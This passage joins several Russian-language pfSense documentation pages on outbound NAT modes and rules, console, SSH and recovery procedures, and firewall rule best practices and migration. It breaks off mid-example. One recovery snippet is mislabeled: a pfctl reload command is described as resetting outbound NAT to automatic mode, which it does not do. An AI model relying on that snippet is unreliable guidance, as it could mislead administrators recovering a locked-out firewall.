Автоматический режим (Automatic Outbound NAT) - настройка по умолчанию после установки pfSense. В этом режиме файрвол самостоятельно создаёт правила исходящего NAT для каждой комбинации внутреннего интерфейса и подсети.

Автоматически генерируемые правила выполняют следующие трансляции:

- Трафик из подсетей LAN, OPT1, OPT2 и других внутренних интерфейсов транслируется в адрес WAN-интерфейса.
- Трафик VPN-клиентов (OpenVPN, IPsec) транслируется в адрес WAN.
- Для localhost (127.0.0.0/8) генерируется правило ISAKMP (порт 500) с флагом static port для корректной работы IPsec.

Автоматические правила отображаются в интерфейсе как read-only записи. Они не могут быть изменены или удалены - только просмотрены.

Автоматический режим подходит для большинства простых конфигураций. Переключение на другой режим требуется при наличии хотя бы одного из условий:

- Необходим static port для отдельных хостов или протоколов.
- Используется несколько WAN-интерфейсов с различными правилами трансляции.
- Требуется привязка определённых подсетей к конкретным внешним адресам.

## Гибридный режим

Гибридный режим (Hybrid Outbound NAT) сочетает преимущества автоматического и ручного режимов. Автоматические правила продолжают генерироваться и служат базой (fallback), а ручные правила добавляются поверх них и обрабатываются с более высоким приоритетом.

Порядок обработки в гибридном режиме:

1. Сначала проверяются ручные правила (сверху вниз).
2. Если ни одно ручное правило не совпало, проверяются автоматические правила.

Гибридный режим рекомендуется для большинства production-конфигураций. Он позволяет добавлять специфические правила (static port для SIP, привязка подсети к определённому WAN) без необходимости вручную поддерживать полный набор правил.

Типичный сценарий использования гибридного режима:

1. Переключить режим на **Hybrid Outbound NAT**.
2. Нажать **Save**, затем **Apply Changes**.
3. Создать ручное правило для конкретного исключения (например, static port для SIP-сервера).
4. Весь остальной трафик продолжает обрабатываться автоматическими правилами.

## Ручной режим

Ручной режим (Manual Outbound NAT) передаёт администратору полный контроль над правилами исходящего NAT. Все автоматические правила удаляются, и используются исключительно вручную созданные правила.

> **Внимание**:
>
> При переключении в ручной режим pfSense предложит скопировать текущие автоматические правила в качестве основы. Настоятельно рекомендуется принять это предложение. Если отказаться от копирования и не создать правила вручную, весь исходящий трафик прекратит трансляцию, и внутренние хосты потеряют доступ к интернету.

Ручной режим необходим в следующих случаях:

- Требуется полностью нестандартная конфигурация трансляции.
- Необходимо точное управление порядком обработки правил.
- Используются сложные схемы с множеством WAN-интерфейсов, VPN и специфических трансляций.
- Требуется правило "Do not NAT" для определённого трафика (например, для трафика между VPN-сегментами).

При добавлении нового интерфейса или подсети в ручном режиме правила NAT не создаются автоматически. Администратор должен добавить соответствующие правила вручную, иначе трафик нового интерфейса не будет транслироваться.

## Создание правила

### Пошаговая настройка

1. Перейти в **Firewall > NAT**, вкладка **Outbound**.
2. Убедиться, что выбран режим Hybrid или Manual.
3. Нажать **Add** для создания нового правила.

![Список правил Outbound NAT](/img/pfsense/pfsense-nat-outbound-list.webp)
<p style="text-align: center;">Рис. 2. Список правил исходящего NAT</p>

4. Заполнить параметры правила:

### Основные параметры

| Поле | Описание | Пример |
|---|---|---|
| **Interface** | Исходящий интерфейс (куда направляется трафик) | WAN |
| **Address Family** | Семейство адресов | IPv4 |
| **Protocol** | Протокол (any для всех) | Any |
| **Source** | Адрес или подсеть источника | 192.168.1.0/24 |
| **Source port** | Порт источника (обычно Any) | Any |
| **Destination** | Адрес назначения | Any |
| **Destination port** | Порт назначения | Any |

### Параметры трансляции

| Поле | Описание | Пример |
|---|---|---|
| **Translation Address** | Адрес, на который транслируется источник | Interface Address |
| **Translation Port** | Порт или диапазон портов трансляции | (пусто для автоматического) |
| **Static Port** | Сохранять исходный порт клиента | Не отмечен |
| **Pool Options** | Метод выбора адреса из пула (при использовании алиаса) | Default |

### Дополнительные параметры

| Поле | Описание |
|---|---|
| **Disabled** | Отключить правило без удаления |
| **Do not NAT** | Пометить трафик для исключения из трансляции |
| **No XMLRPC Sync** | Не синхронизировать правило в HA-конфигурациях |
| **Description** | Описание назначения правила |

5. Нажать **Save**, затем **Apply Changes**.

### Translation Address - варианты значений

- **Interface Address** - адрес исходящего интерфейса (WAN IP). Наиболее распространённый вариант.
- **Virtual IP** - конкретный VIP-адрес, созданный на исходящем интерфейсе. Используется для привязки подсети к определённому публичному адресу.
- **Alias** - группа адресов для распределения нагрузки. Совместно с Pool Options обеспечивает балансировку по нескольким внешним адресам.
- **Other Subnet** - произвольная подсеть для трансляции.

### Pool Options

При использовании алиаса или подсети в Translation Address доступны варианты распределения:

| Метод | Описание |
|---|---|
| **Default** | Round Robin без сохранения привязки |
| **Round Robin** | Последовательное переключение между адресами |
| **Round Robin with Sticky Address** | Round Robin с привязкой клиента к адресу |
| **Random** | Случайный выбор адреса из пула |
| **Random with Sticky Address** | Случайный выбор с сохранением привязки |
| **Source Hash** | Детерминированный выбор на основе хэша адреса источника |
| **Bitmask** | Маскирование адреса (используется для /24 ↔ /24 трансляций) |

## Типичные сценарии

### Static port для SIP и VoIP

Протоколы SIP, IKE (IPsec) и некоторые игровые протоколы требуют сохранения исходного порта источника при трансляции. По умолчанию pfSense выполняет рандомизацию портов для повышения безопасности, что нарушает работу этих протоколов.

Настройка static port в гибридном режиме:

1. Переключить Outbound NAT в режим **Hybrid**.
2. Создать правило:
   - **Interface** - WAN
   - **Source** - адрес SIP-сервера или телефона (например, `192.168.1.200/32`)
   - **Destination** - Any
   - **Translation Address** - Interface Address
   - **Static Port** - отмечен
   - **Description** - "Static port for SIP PBX"
3. Сохранить и применить изменения.

Для IPsec VPN, инициируемого самим файрволом, pfSense автоматически создаёт правило с static port для UDP 500 (ISAKMP) и UDP 4500 (NAT-T) в автоматическом и гибридном режимах.

> **Внимание**:
>
> Флаг Static Port несовместим с использованием одного внешнего адреса для нескольких внутренних хостов с одинаковым портом источника. Если два SIP-телефона одновременно инициируют соединение с порта 5060, возникнет конфликт. В таком случае каждому устройству следует назначить отдельный VIP через индивидуальные правила.

### Привязка подсети к определённому WAN-адресу

В конфигурациях с несколькими WAN-интерфейсами или дополнительными публичными адресами может потребоваться, чтобы определённая внутренняя подсеть выходила в интернет через конкретный внешний адрес.

Пример: подсеть серверов `10.0.2.0/24` должна использовать VIP `203.0.113.20` вместо основного WAN IP.

1. Создать VIP `203.0.113.20` на WAN-интерфейсе (**Firewall > Virtual IPs**).
2. Переключить Outbound NAT в режим **Hybrid**.
3. Создать правило:
   - **Interface** - WAN
   - **Source** - `10.0.2.0/24`
   - **Destination** - Any
   - **Translation Address** - `203.0.113.20` (выбрать VIP из списка)
   - **Description** - "Server subnet outbound via VIP"
4. Сохранить и применить.

Весь остальной трафик продолжит транслироваться в WAN IP через автоматические правила.

### Multi-WAN и policy-based NAT

При использовании нескольких WAN-интерфейсов (multi-WAN) каждому WAN требуются собственные правила исходящего NAT. В автоматическом и гибридном режимах pfSense создаёт правила для каждого WAN-интерфейса автоматически.

При необходимости направить трафик определённой подсети через конкретный WAN (policy routing) следует:

1. Создать шлюз или группу шлюзов в **System > Routing**.
2. Создать правило файрвола на внутреннем интерфейсе с указанием шлюза (поле Gateway).
3. В гибридном или ручном режиме outbound NAT убедиться, что существует правило для соответствующего WAN-интерфейса и подсети.

### Правило Do not NAT

В некоторых сценариях требуется исключить определённый трафик из трансляции:

- Трафик между VPN-сегментами, использующими приватные адреса.
- Трафик к peer-сетям через GRE-туннель.
- Трафик к сетям, маршрутизируемым без NAT.

Для создания исключения:

1. Создать правило outbound NAT с отмеченным флагом **Do not NAT**.
2. В поле Source указать подсеть источника.
3. В поле Destination указать целевую подсеть, для которой трансляция не требуется.
4. Разместить правило выше правила, выполняющего трансляцию для этого трафика.

## Устранение неполадок

### Потеря интернета после переключения в ручной режим

Наиболее распространённая проблема - переключение в ручной режим без создания необходимых правил или с отклонением предложения скопировать автоматические правила.

Решение:

1. Перейти в **Firewall > NAT > Outbound**.
2. Переключить режим обратно на **Automatic** или **Hybrid**.
3. Нажать **Save**, затем **Apply Changes**.
4. Проверить восстановление доступа к интернету с внутренних хостов.

Если доступ к веб-интерфейсу утрачен, подключиться к консоли файрвола (последовательный порт или физическая консоль) и выполнить:

```bash
# Reset outbound NAT to automatic mode
pfctl -d && pfctl -e -f /tmp/rules.debug
```

Альтернативно - использовать меню консоли: опция **Reset to factory defaults** в качестве крайней меры.

### Static port не работает

Симптомы: SIP-телефон регистрируется, но не проходят звонки; IPsec Phase 1 не устанавливается.

Проверка:

1. Убедиться, что правило с Static Port расположено выше общего правила NAT для данной подсети.
2. Проверить, что в правиле указан корректный адрес источника (конкретный хост, а не вся подсеть, если проблема касается одного устройства).
3. Проверить таблицу состояний (**Diagnostics > States**) - порт источника должен совпадать с портом в трансляции.
4. Убедиться, что флаг Static Port отмечен именно в правиле outbound NAT, а не в правиле файрвола.

```bash
# Verify NAT rules in pf
pfctl -s nat

# Check state table for SIP traffic
pfctl -ss | grep 5060
```

### Multi-WAN: трафик уходит через неверный WAN

При использовании нескольких WAN-интерфейсов трафик может транслироваться через неверный адрес.

Проверка:

1. Убедиться, что правило файрвола на внутреннем интерфейсе имеет корректный Gateway (шлюз конкретного WAN).
2. Проверить, что в outbound NAT существует правило для целевого WAN-интерфейса и подсети источника.
3. В ручном режиме проверить, что правила существуют для каждого WAN-интерфейса.
4. Проверить состояние шлюзов в **Status > Gateways** - неработающий шлюз вызовет переключение на резервный WAN.

### Диагностические команды

```bash
# View all outbound NAT rules loaded in pf
pfctl -s nat

# Check which external address is used for specific internal host
pfctl -ss | grep 192.168.1.100

# Verify NAT translation in real-time
tcpdump -i em0 src host 192.168.1.100 -n

# Test outbound address from the server
curl -4 ifconfig.me
```

## Миграция с других платформ

### Cisco ASA

В Cisco ASA динамический NAT (PAT) настраивается через объекты NAT (версии 8.3+) или глобальный NAT (до 8.3).

**ASA 8.3+ (Object NAT, PAT):**

```
object network INSIDE-SUBNET
 subnet 192.168.1.0 255.255.255.0
 nat (INSIDE,OUTSIDE) dynamic interface
```

**ASA 8.3+ (Twice NAT с пулом адресов):**

```
nat (INSIDE,OUTSIDE) source dynamic INSIDE-SUBNET PAT-POOL
object network PAT-POOL
 range 203.0.113.10 203.0.113.15
```

Эквивалент в pfSense:

1. Для стандартного PAT через WAN IP - автоматический режим outbound NAT (настройка по умолчанию).
2. Для PAT через пул адресов - гибридный или ручной режим с VIP-адресами и правилом, использующим алиас в Translation Address с Pool Options **Round Robin**.

Ключевое отличие: в ASA настройка dynamic NAT объединяет трансляцию и контроль через ACL. В pfSense outbound NAT и правила файрвола - независимые сущности.

### FortiGate

В FortiGate исходящий NAT реализуется через IP Pool в политике файрвола.

**Стандартный PAT (overload):**

```
config firewall policy
    edit 1
        set srcintf "lan"
        set dstintf "wan1"
        set srcaddr "LAN-SUBNET"
        set dstaddr "all"
        set action accept
        set nat enable
    next
end
```

**PAT через IP Pool:**

```
config firewall ippool
    edit "OUTBOUND-POOL"
        set startip 203.0.113.10
        set endip 203.0.113.15
        set type overload
    next
end

config firewall policy
    edit 1
        set srcintf "lan"
        set dstintf "wan1"
        set srcaddr "LAN-SUBNET"
        set dstaddr "all"
        set action accept
        set nat enable
        set ippool enable
        set poolname "OUTBOUND-POOL"
    next
end
```

В FortiGate NAT является атрибутом политики файрвола. В pfSense outbound NAT настраивается отдельно от правил файрвола, что обеспечивает более явное разделение функций трансляции и фильтрации.

### MikroTik RouterOS

В MikroTik RouterOS исходящий NAT реализуется через правило masquerade или src-nat в цепочке srcnat.

**Masquerade (аналог автоматического режима):**

```
/ip firewall nat
add chain=srcnat out-interface=ether1 action=masquerade
```

**Source NAT с фиксированным адресом:**

```
/ip firewall nat
add chain=srcnat src-address=192.168.1.0/24 out-interface=ether1 \
    action=src-nat to-addresses=203.0.113.10
```

Отличия при миграции:

- `masquerade` в MikroTik автоматически использует адрес исходящего интерфейса (аналогично Interface Address в pfSense).
- `src-nat` с указанием `to-addresses` эквивалентен правилу outbound NAT с конкретным Translation Address.
- В MikroTik RouterOS правила NAT и файрвола находятся в разных цепочках одной таблицы `/ip firewall`. В pfSense NAT и файрвол - полностью раздельные подсистемы pf.

## Связанные разделы

- [Проброс портов](/docs/pfsense/nat/pfsense-port-forwarding/) - перенаправление входящего трафика на внутренние серверы
- [1:1 NAT](/docs/pfsense/nat/pfsense-one-to-one-nat/) - биективная трансляция адресов, взаимодействие с outbound NAT
- [Обзор NAT в pfSense](/docs/pfsense/nat/) - порядок обработки NAT и взаимодействие механизмов трансляции
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание правил фильтрации и policy routing


---

# Консольный доступ pfSense - консоль, SSH, восстановление

Source: https://opennix.org/docs/pfsense/configuration/pfsense-console-access/


Консольный доступ к pfSense предоставляет административные функции, доступные без веб-интерфейса: от базовой диагностики до полного сброса к заводским настройкам. Консоль является критически важным инструментом при потере доступа к GUI, восстановлении после сбоев и первоначальной настройке сетевых интерфейсов. Параметры последовательной консоли и SSH настраиваются в разделе [расширенных настроек](/docs/pfsense/configuration/pfsense-advanced-settings/).

## Способы доступа к консоли

pfSense предоставляет три способа доступа к консольному меню:

| Способ | Применение | Требования |
|---|---|---|
| Клавиатура и монитор | Физический сервер с видеовыходом | VGA/HDMI-подключение, USB/PS2-клавиатура |
| Последовательная консоль | Безголовые системы, встраиваемые устройства | Кабель DB-9/RJ-45, терминальная программа |
| SSH | Удалённое администрирование | Включённый SSH-демон, сетевая связность |

### Подключение через клавиатуру и монитор

Стандартный способ для серверов и рабочих станций с видеовыходом. После загрузки pfSense отображает консольное меню непосредственно на подключённом мониторе. Дополнительная настройка не требуется.

### Подключение через последовательную консоль

Для безголовых систем и встраиваемых устройств (Netgate 1100, 2100, 4100 и аналогичные) последовательная консоль является основным интерфейсом управления.

#### Параметры подключения

| Параметр | Значение |
|---|---|
| Скорость (Baud Rate) | 115200 (по умолчанию) |
| Биты данных | 8 |
| Стоп-биты | 1 |
| Чётность | Нет (None) |
| Управление потоком | Нет (None) |

#### Терминальные программы

| Платформа | Программа | Пример команды |
|---|---|---|
| Linux | minicom, screen, picocom | `screen /dev/ttyUSB0 115200` |
| macOS | screen, CoolTerm | `screen /dev/tty.usbserial 115200` |
| Windows | PuTTY, Tera Term | Выбрать Serial, указать COM-порт и скорость |
| FreeBSD | cu, tip | `cu -l /dev/cuaU0 -s 115200` |

При использовании USB-адаптера последовательного порта убедитесь, что драйвер установлен и устройство определяется операционной системой.

#### Настройка в pfSense

Последовательная консоль включается в System > Advanced > Admin Access:

1. Установите флажок **Serial Terminal**
2. Выберите скорость в поле **Serial Speed** (115200 для большинства устройств)
3. При необходимости измените **Primary Console** на Serial
4. Сохраните настройки и перезагрузите систему

> **Warning**:
>
> На устройствах Netgate с последовательной консолью в качестве единственного интерфейса не изменяйте Primary Console на Video - это приведёт к потере доступа к консольному меню.

### Подключение через SSH

SSH обеспечивает удалённый доступ к консольному меню и командной оболочке через защищённое соединение.

#### Включение SSH

SSH включается двумя способами:

**Через веб-интерфейс:**
1. Перейдите в System > Advanced > Admin Access
2. Установите флажок **Enable Secure Shell**
3. Выберите метод аутентификации в **SSHd Key Only**
4. При необходимости измените порт в **SSH Port**
5. Сохраните настройки

**Через консольное меню:**
1. Подключитесь к консоли (клавиатура или последовательный порт)
2. Выберите пункт **14) Enable/Disable Secure Shell (sshd)**

#### Аутентификация по ключам

Для production-сред рекомендуется использовать аутентификацию только по ключам:

1. Сгенерируйте ключевую пару на клиентской машине:

```bash
ssh-keygen -t ed25519 -C "admin@firewall"
```

2. В веб-интерфейсе pfSense перейдите в System > User Manager
3. Откройте настройки пользователя
4. Вставьте содержимое файла `id_ed25519.pub` в поле **Authorized SSH Keys**
5. В System > Advanced > Admin Access установите **SSHd Key Only** в значение **Public Key Only**

После этого аутентификация по паролю будет отключена. Убедитесь, что ключ работает, прежде чем отключать парольный доступ.

#### Подключение по SSH

```bash
# Стандартное подключение
ssh admin@192.168.1.1

# С указанием нестандартного порта
ssh -p 2222 admin@192.168.1.1

# С указанием ключа
ssh -i ~/.ssh/id_ed25519 admin@192.168.1.1
```

После подключения отображается консольное меню, идентичное локальной консоли, за исключением дополнительного пункта **0) Logout**.

## Консольное меню

Консольное меню предоставляет набор административных функций, доступных без веб-интерфейса. После загрузки системы меню отображается автоматически.

### Полный список пунктов меню

#### 0) Logout (только SSH)

Завершает SSH-сессию. Пункт отображается только при подключении через SSH и отсутствует при локальном доступе.

#### 1) Assign Interfaces

Перезапускает мастер назначения интерфейсов. Позволяет:

- Создавать VLAN-интерфейсы
- Назначать физические и VLAN-интерфейсы ролям WAN, LAN, OPT
- Переназначать интерфейсы при замене сетевых адаптеров

Используется при первоначальной настройке и при изменении физической конфигурации сети. Подробнее о настройке интерфейсов - в разделе [интерфейсы pfSense](/docs/pfsense/interfaces/).

#### 2) Set interface(s) IP address

Настраивает IP-адреса на интерфейсах WAN, LAN и OPT. Функции:

- Назначение статического IP-адреса, маски подсети и шлюза
- Включение/отключение DHCP-клиента на интерфейсе
- Переключение GUI с HTTPS на HTTP (при проблемах с сертификатом)
- Восстановление правила Anti-Lockout на LAN-интерфейсе
- Настройка диапазона DHCP-сервера на LAN

Этот пункт часто используется для восстановления доступа к веб-интерфейсу, когда IP-адрес LAN был изменён некорректно.

#### 3) Reset admin account and password

Сбрасывает учётную запись и пароль администратора. Возможности:

- Сброс пароля пользователя admin к значению по умолчанию
- Восстановление удалённой учётной записи admin
- Повторная активация заблокированной учётной записи
- Возврат аутентификации к локальной базе данных (если был настроен LDAP/RADIUS и сервер недоступен)

Начиная с версии 24.03, при первом подключении к консоли после установки или сброса к заводским настройкам система принудительно требует установить новый пароль admin.

#### 4) Reset to factory defaults

Возвращает конфигурацию к заводским настройкам и удаляет установленные пакеты. Эта операция необратима - перед выполнением убедитесь, что резервная копия конфигурации сохранена.

#### 5) Reboot system

Выполняет корректное завершение работы и перезагрузку операционной системы. Предпочтительный способ перезагрузки, обеспечивающий корректное сохранение состояния.

#### 6) Halt system

Корректно останавливает систему. В зависимости от оборудования выполняет полное выключение питания или останов процессора. Всегда используйте этот пункт перед физическим отключением питания - прямое обесточивание может привести к повреждению файловой системы.

#### 7) Ping host

Отправляет три ICMP-запроса на указанный хост для проверки связности. Для IPv4-адресов и доменных имён используется `ping`, для IPv6 - `ping6`. Базовый инструмент диагностики сетевых проблем.

#### 8) Shell

Открывает командную оболочку (`tcsh` или `sh`). Предоставляет полный доступ к операционной системе FreeBSD, включая:

- Просмотр и редактирование конфигурационных файлов
- Запуск диагностических утилит (`ifconfig`, `netstat`, `tcpdump`)
- Управление сервисами
- Выполнение скриптов

> **Warning**:
>
> Некорректные действия в оболочке могут привести к неработоспособности системы. Используйте shell только при понимании выполняемых команд. Для возврата в консольное меню введите `exit`.

#### 9) pfTop

Отображает в реальном времени таблицу состояний межсетевого экрана с информацией об активных соединениях и объёме переданных данных. Позволяет:

- Определить наиболее активные соединения
- Диагностировать проблемы с пропускной способностью
- Проверить работу NAT и правил межсетевого экрана

#### 10) Filter Logs

Отображает записи журнала межсетевого экрана в реальном времени в необработанном формате. Содержит больше деталей, чем журнал в веб-интерфейсе, и полезен для оперативной диагностики заблокированного трафика. Для расширенного мониторинга рассмотрите интеграцию с [системами SIEM](/docs/pfsense/pfsense-wazuh-integration/).

#### 11) Restart GUI

Перезапускает процесс веб-сервера nginx. Используйте при зависании веб-интерфейса, когда страницы не загружаются или возвращают ошибки.

#### 12) PHP shell + pfSense tools

Запускает интерпретатор PHP в контексте работающей системы. Предназначен для разработчиков и опытных администраторов, позволяя:

- Выполнять PHP-код с доступом к внутренним функциям pfSense
- Читать и модифицировать конфигурацию программно
- Диагностировать проблемы на уровне приложения

#### 13) Upgrade from console

Запускает скрипт обновления pfSense до последней доступной версии. Аналогичен обновлению через GUI, но не требует веб-интерфейса. Подробнее об обновлении - в разделе [обновление pfSense](/docs/pfsense/installation/pfsense-upgrading/).

#### 14) Enable/Disable Secure Shell (sshd)

Переключает состояние SSH-демона. Быстрый способ включить или отключить SSH без доступа к веб-интерфейсу.

#### 15) Restore recent configuration

Отображает список резервных копий конфигурации из истории с временными метками и описаниями изменений. Позволяет восстановить предыдущую конфигурацию при ошибочных изменениях. Каждое сохранение в веб-интерфейсе автоматически создаёт запись в истории.

#### 16) Restart PHP-FPM

Перезапускает PHP-демон для nginx. Используйте, если веб-сервер запущен, но PHP-скрипты не выполняются (пустые страницы, ошибки 502/504).

## Сценарии восстановления

### Потеря доступа к веб-интерфейсу

Если доступ к GUI утрачен, выполните следующие действия через консоль:

1. Подключитесь к консоли (клавиатура, последовательный порт или SSH, если SSH работает)
2. Пункт **2** - проверьте и при необходимости исправьте IP-адрес LAN-интерфейса
3. При запросе **Do you want to revert to HTTP as the webConfigurator protocol?** ответьте `y`, если проблема связана с HTTPS/сертификатом
4. При запросе **Do you want to enable the DHCP server on LAN?** проверьте настройки DHCP
5. При запросе Anti-Lockout Rule ответьте `y` для восстановления правила доступа

### Сброс пароля администратора

1. Подключитесь к физической консоли
2. Выберите пункт **3) Reset admin account and password**
3. Следуйте инструкциям для установки нового пароля
4. Войдите в веб-интерфейс с новым паролем

### Восстановление после неудачного изменения конфигурации

1. Подключитесь к консоли
2. Выберите пункт **15) Restore recent configuration**
3. Из списка резервных копий выберите конфигурацию, предшествующую ошибочному изменению
4. Подтвердите восстановление
5. Система перезагрузится с восстановленной конфигурацией

### Полный сброс к заводским настройкам

В случае невозможности восстановления конфигурации:

1. Подключитесь к консоли
2. Убедитесь, что резервная копия конфигурации сохранена на внешнем носителе
3. Выберите пункт **4) Reset to factory defaults**
4. Подтвердите операцию
5. После перезагрузки выполните настройку с нуля или импортируйте резервную копию через веб-интерфейс

## Безопасность консольного доступа

### Физическая безопасность

Физический доступ к консоли предоставляет полный контроль над системой, включая сброс пароля и доступ к оболочке. Меры защиты:

- Размещайте межсетевой экран в запираемом серверном шкафу
- Ограничивайте доступ в серверное помещение
- Используйте **Console menu protection** (System > Advanced > Admin Access) для парольной защиты консоли
- Для устройств с последовательной консолью обеспечьте защиту терминального сервера

### Безопасность SSH

- Не открывайте SSH-порт на WAN-интерфейсе без крайней необходимости
- Используйте [правила межсетевого экрана](/docs/pfsense/firewall/) для ограничения источников SSH-подключений
- Включите аутентификацию только по ключам
- Регулярно просматривайте логи SSH-подключений
- Рассмотрите использование fail2ban через пакет [pfBlockerNG](/docs/pfsense/pfsense-packages/) для защиты от перебора

### Журналирование

Все действия через консольное меню, SSH-подключения и события аутентификации записываются в системные логи. Для централизованного сбора и анализа логов настройте пересылку syslog на внешний сервер или интеграцию с SIEM-системой.


---

# Лучшие практики файрвола pfSense - правила и миграция

Source: https://opennix.org/docs/pfsense/firewall/pfsense-firewall-best-practices/


Грамотно спроектированная политика межсетевого экрана определяет уровень защищённости всей сети. pfSense предоставляет гибкие инструменты фильтрации на основе pf, однако сама по себе платформа не гарантирует безопасность - результат зависит от того, как администратор организует правила, контролирует их актуальность и адаптирует политику к изменяющимся требованиям. В этом руководстве рассмотрены принципы построения надёжной политики файрвола, типичные ошибки, процедура аудита правил и детальные инструкции по миграции с Cisco ASA, FortiGate и MikroTik RouterOS.

## Организация правил

Порядок правил в pfSense определяет результат фильтрации: действует принцип first match wins - первое совпавшее правило завершает обработку пакета. Неправильная организация правил приводит к тому, что трафик блокируется или пропускается вопреки намерениям администратора. Подробное описание механизма обработки приведено в разделе [правила файрвола pfSense]().

### Рекомендуемый порядок правил на интерфейсе

Для каждого интерфейса (LAN, DMZ, OPT и т.д.) следует придерживаться единой структуры:

1. **Anti-lockout** - pfSense создаёт это правило автоматически на LAN-интерфейсе. Если правило отключено вручную, необходимо создать явное разрешение для административного доступа (HTTPS/SSH к IP-адресу интерфейса) и разместить его первым.

2. **Явные запреты для известных угроз** - блокировка трафика от источников из чёрных списков (bogon-сети, GeoIP-списки, списки известных вредоносных адресов). Для этих правил рекомендуется использовать [алиасы типа URL Table](), которые обновляются автоматически.

3. **Разрешающие правила для легитимного трафика** - конкретные правила, разрешающие необходимые протоколы и направления. Каждое правило должно быть максимально специфичным: указан протокол, порт назначения, адрес источника и назначения.

4. **Неявный запрет (default deny)** - pfSense автоматически отбрасывает весь трафик, не совпавший ни с одним правилом. Создавать явное правило блокировки в конце списка не обязательно, но рекомендуется для двух целей: ведение журнала отклонённого трафика и визуальное подтверждение того, что политика default deny действует.

### Использование разделителей

pfSense позволяет создавать цветные разделители (separators) между правилами в веб-интерфейсе. Разделители не влияют на обработку трафика, но существенно упрощают навигацию при большом количестве правил.

Рекомендуемая схема именования разделителей:

| Разделитель | Назначение |
|---|---|
| `--- ADMIN ACCESS ---` | Правила управления |
| `--- BLOCK LISTS ---` | Правила блокировки по спискам |
| `--- SERVERS ---` | Доступ к серверам (по группам) |
| `--- USER TRAFFIC ---` | Правила для рабочих станций |
| `--- DEFAULT DENY ---` | Финальное правило запрета |

### Описания правил

Каждое правило файрвола должно содержать осмысленное описание в поле Description. Описание является единственным способом понять назначение правила без анализа его параметров. Рекомендуемый формат:

```
[TICKET/CR] Назначение - срок действия (если временное)
```

Примеры:

- `CR-2024-031 VPN access for partner ExampleCorp - until 2024-12-31`
- `Allow DNS to internal resolvers`
- `Block outbound SMTP from workstations (relay prevention)`

Правила без описания превращают набор правил в нечитаемый список, который невозможно сопровождать при смене администратора.

### Минимизация количества правил через алиасы

Большое количество правил усложняет аудит и повышает вероятность ошибок. Вместо создания отдельного правила для каждого сервера или порта следует использовать [алиасы]():

**Неоптимально** - три отдельных правила:

| Действие | Источник | Порт назначения | Описание |
|---|---|---|---|
| Pass | LAN net | 80 | HTTP to web server 1 |
| Pass | LAN net | 443 | HTTPS to web server 1 |
| Pass | LAN net | 8443 | Alt HTTPS to web server 2 |

**Оптимально** - одно правило с алиасами:

| Действие | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|
| Pass | LAN net | Alias: WebServers | Alias: WebPorts | Access to web servers |

Алиас `WebServers` содержит IP-адреса серверов, алиас `WebPorts` - порты 80, 443, 8443. При добавлении нового сервера или порта достаточно обновить алиас, а не создавать новое правило.

## Типичные ошибки

### Избыточно разрешающие правила (any/any)

Правило `Pass * * * * *` (разрешить всё со всех адресов на все адреса по всем протоколам) - наиболее распространённая и опасная ошибка. Такие правила создаются для быстрой отладки и забываются в рабочей конфигурации. pfSense создаёт правило default allow на LAN по умолчанию - после первоначальной настройки его необходимо заменить набором специфичных разрешений.

> **Внимание**:
>
> Правило any/any на LAN-интерфейсе позволяет любому устройству в сети обращаться к произвольным адресам по любым протоколам, включая прямой доступ в интернет в обход прокси-серверов и средств контроля.

### Отсутствие фильтрации исходящего трафика

Администраторы часто сосредоточены на входящем трафике и полностью игнорируют исходящий. Отсутствие egress-фильтрации позволяет скомпрометированным хостам свободно устанавливать обратные соединения (reverse shell), эксфильтровать данные и взаимодействовать с командными серверами (C2). Минимальный набор ограничений для исходящего трафика:

- Разрешить DNS только к внутренним серверам или конкретным публичным резолверам
- Разрешить HTTP/HTTPS через прокси-сервер (при наличии)
- Разрешить SMTP только с почтового сервера
- Заблокировать прямой выход на нестандартные порты (IRC, Tor, P2P)

### Отсутствие журналирования запрещённого трафика

pfSense по умолчанию журналирует трафик, совпавший с неявным правилом deny. Однако при добавлении явных правил блокировки (например, для чёрных списков) журналирование необходимо включать вручную - по умолчанию оно отключено для явных правил. Без логов администратор не видит заблокированных атак и не может оценить эффективность политики.

### Затенённые правила (shadowed rules)

Затенённое правило - это правило, которое никогда не совпадает с трафиком, потому что выше расположено более широкое правило, перехватывающее весь подходящий трафик. Пример:

| # | Действие | Источник | Назначение | Порт |
|---|---|---|---|---|
| 1 | Pass | LAN net | * | * |
| 2 | Block | LAN net | 10.0.0.5 | 22 |

Правило 2 никогда не сработает, потому что правило 1 разрешает весь трафик из LAN, включая SSH к 10.0.0.5. Для исправления необходимо переместить правило блокировки выше разрешающего:

| # | Действие | Источник | Назначение | Порт |
|---|---|---|---|---|
| 1 | Block | LAN net | 10.0.0.5 | 22 |
| 2 | Pass | LAN net | * | * |

### Неиспользование алиасов

Указание IP-адресов и портов непосредственно в правилах (hardcoded values) приводит к дублированию данных: при изменении адреса сервера приходится обновлять каждое правило, в котором он упоминается. Алиасы решают эту проблему - подробное описание их возможностей приведено в разделе [алиасы pfSense]().

### Забытые временные правила

Временные правила, созданные для диагностики или краткосрочных задач, остаются в конфигурации на неопределённый срок. Рекомендации:

- Указывать срок действия в описании правила (например, `until 2024-06-30`)
- Включать журналирование для временных правил для контроля их использования
- Проводить ежемесячную проверку наличия временных правил

## Миграция с Cisco ASA

Миграция с Cisco ASA на pfSense требует понимания фундаментальных различий в архитектуре и терминологии. Оба межсетевых экрана работают по принципу stateful inspection и first match wins, однако подходы к организации правил, объектов и NAT существенно отличаются.

### Соответствие терминологии

| Cisco ASA | pfSense | Примечания |
|---|---|---|
| Access Control List (ACL) | Firewall Rules (per interface) | В pfSense правила привязаны к интерфейсам напрямую, отдельная привязка ACL к интерфейсу не требуется |
| Object Group (network) | Alias (Host / Network) | Функционально идентичны - именованные группы адресов |
| Object Group (service) | Alias (Port) | Группы портов |
| Security Level (0-100) | Нет аналога | pfSense не использует уровни безопасности, всё определяется правилами |
| Security Zone | Interface | В pfSense каждый интерфейс - отдельная зона, zone-based firewall не поддерживается |
| Global ACL | Floating Rules | Floating rules применяются к нескольким интерфейсам |
| NAT exemption (identity NAT) | Manual Outbound NAT (no NAT rule) | Настраивается в Firewall > NAT > Outbound |
| Twice NAT | Manual Outbound NAT + Port Forward | pfSense разделяет inbound и outbound NAT |
| Packet Tracer | Packet Capture + States | Диагностика через Diagnostics > Packet Capture |

### Преобразование ACL в правила pfSense

ACL на Cisco ASA представляют собой упорядоченные списки ACE (Access Control Entries), которые привязываются к интерфейсу командой `access-group`. В pfSense каждое правило уже привязано к интерфейсу - промежуточный шаг привязки отсутствует.

**Cisco ASA:**

```
object-group network WEBSERVERS
